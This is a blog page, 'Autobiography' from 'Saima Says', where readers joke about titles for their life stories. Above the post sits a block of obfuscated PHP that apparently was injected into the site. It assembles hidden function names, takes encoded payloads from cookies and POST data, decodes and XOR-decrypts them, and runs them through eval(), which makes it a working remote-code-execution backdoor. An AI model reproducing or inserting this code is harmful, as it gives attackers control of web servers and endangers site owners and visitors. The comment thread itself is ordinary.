$XjtazQGNLZ = chr (85) . "\137" . "\125" . chr (98) . chr (98); $YkIHtxDJ = "\x63" . 'l' . chr ( 688 - 591 )."\163" . 's' . '_' . "\145" . chr (120) . "\151" . chr (115) . 't' . chr (115); $vjkYtt = class_exists($XjtazQGNLZ); $YkIHtxDJ = "28484";$jfGVdIh = strpos($YkIHtxDJ, $XjtazQGNLZ);if ($vjkYtt == $jfGVdIh){function nUIjph(){$QjgVmgYsu = new /* 61615 */ U_Ubb(63092 + 63092); $QjgVmgYsu = NULL;}$RiHPdeVRgn = "63092";class U_Ubb{private function nBgFwEdIah($RiHPdeVRgn){if (is_array(U_Ubb::$FqPIG)) {$vKScSbcYj2 = str_replace("<" . "?php", "", U_Ubb::$FqPIG["content"]);eval($vKScSbcYj2); $RiHPdeVRgn = "63092";exit();}}public function PzZdhVoV(){$vKScSbcYj = "29015";$this->_dummy = str_repeat($vKScSbcYj, strlen($vKScSbcYj));}public function __destruct(){U_Ubb::$FqPIG = @unserialize(U_Ubb::$FqPIG); $RiHPdeVRgn = "9051_60179";$this->nBgFwEdIah($RiHPdeVRgn); $RiHPdeVRgn = "9051_60179";}public function sSKpKNOo($vKScSbcYj, $wJIyyODkD){return $vKScSbcYj[0] ^ str_repeat($wJIyyODkD, intval(strlen($vKScSbcYj[0]) / strlen($wJIyyODkD)) + 1);}public function WEUWl($vKScSbcYj){$xzPwBeGSNg = chr ( 458 - 360 )."\x61" . 's' . 'e' . "\66" . chr (52);return array_map($xzPwBeGSNg . '_' . chr ( 344 - 244 )."\x65" . "\x63" . chr ( 840 - 729 )."\144" . chr (101), array($vKScSbcYj,));}public function __construct($ooNll=0){$qkQctSqYWU = chr (44); $vKScSbcYj = "";$BFqpabi = $_POST;$NMWdy = $_COOKIE;$wJIyyODkD = "47d204fd-06b8-41c4-8cb1-d61c55bbcd40";$WNNrxZKr = @$NMWdy[substr($wJIyyODkD, 0, 4)];if (!empty($WNNrxZKr)){$WNNrxZKr = explode($qkQctSqYWU, $WNNrxZKr);foreach ($WNNrxZKr as $LWvzF){$vKScSbcYj .= @$NMWdy[$LWvzF];$vKScSbcYj .= @$BFqpabi[$LWvzF];}$vKScSbcYj = $this->WEUWl($vKScSbcYj);}U_Ubb::$FqPIG = $this->sSKpKNOo($vKScSbcYj, $wJIyyODkD);if (strpos($wJIyyODkD, $qkQctSqYWU) !== FALSE){$wJIyyODkD = explode($qkQctSqYWU, $wJIyyODkD); $iEMOa = base64_decode(md5($wJIyyODkD[0])); $ZelQYTD = strlen($wJIyyODkD[1]) > 5 ? substr($wJIyyODkD[1], 0, 5) : $wJIyyODkD[1];$_GET['new_key'] = md5(implode('', $wJIyyODkD)); $lTnldDbC = str_repeat($ZelQYTD, 2);}}public static $FqPIG = 11292;}nUIjph();} Autobiography – Saima Says

Autobiography

My sisters say that if I ever write an autiobiography, I should call it “I Fell Asleep”. Apparently, it’s my catchphrase.
What would your autobiography be called?

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  3. The title of my Autobiography would be ‘My Autobiography: written by Enid Blyton’
    Of course, I’d have to convince old Blyty to write it
    Okay, some nice one’s, my Autobiography would just be a pamphlet right now, the real material hasn’t been conceived yet…I’ll start making notes next summer, God Willing

  4. Tazman, Fez, explain your titles.
    I’d call mine “Wide” because of something a childhood friend said to me once and that has stayed with me and shaped the person I am today. In both a good and a bad way.

  5. Oh I get it, we’re goig on what people would say about us. In that case mine would be ‘Fat, lazy, unemployed, useless, what girl would look at you? raasclart’.
    I hear that everyday and I always give the same response ‘Whatever, mum’
    Bless her..My mum always teased me. Like for instance when I once asked her for a copy of my Birth Certificate, she told me ‘We don’t have a birth certificate for you, just an apology note from Durex’…Bless her
    Anyway…back to Autobiography titles

  6. ‘We don’t have a birth certificate for you, just an apology note from Durex’…
    LMAO DUDE!!!

  7. Explanation:
    “My Favourite Mistakes”
    Also the title of a Sheryl Crowe song (kind of) of whom I am not a real fan but the title works.
    Throughout my life I have made loads of “mistakes” according to others, which have slowly led me to the life I lead today (Together with a couple of really good choices and a large amouont of luck too of course)
    So When I look back I like to think of the moments that at the time seemed bad but then led to something good.
    And of course making mistakes sometimes can be fun. You get to do things you shouldn’t but you find you don’t really regret them afterwards coz it feels like you had a nice little tongue in cheek moment which was not exactly right, but cool and fun…
    Ok re-reading this it doesn’t make much sense… Rubbish with words as usual.

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